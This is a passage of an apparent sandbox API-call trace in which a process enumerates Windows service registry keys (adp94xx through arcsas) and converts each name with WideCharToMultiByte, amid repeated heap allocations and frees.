lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.476] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.476] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.476] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.476] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.476] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0254.476] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1cd0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.477] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1a00, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.477] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.477] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0254.477] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.477] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.478] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.478] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.478] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.478] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.478] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.478] RegEnumKeyW (in: hKey=0x148, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0254.478] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1a00, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0254.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.479] RegEnumKeyW (in: hKey=0x148, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0254.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0254.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.479] RegEnumKeyW (in: hKey=0x148, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0254.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0254.479] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.479] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.480] RegEnumKeyW (in: hKey=0x148, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1cd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.480] RegEnumKeyW (in: hKey=0x148, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.480] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1cd0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.480] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.480] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0254.480] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.481] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1cd0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.481] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1a00, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.481] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.481] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1cd0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0254.481] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0254.482] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0254.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0254.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1a00, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0254.482] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1cd0 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0254.482] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, 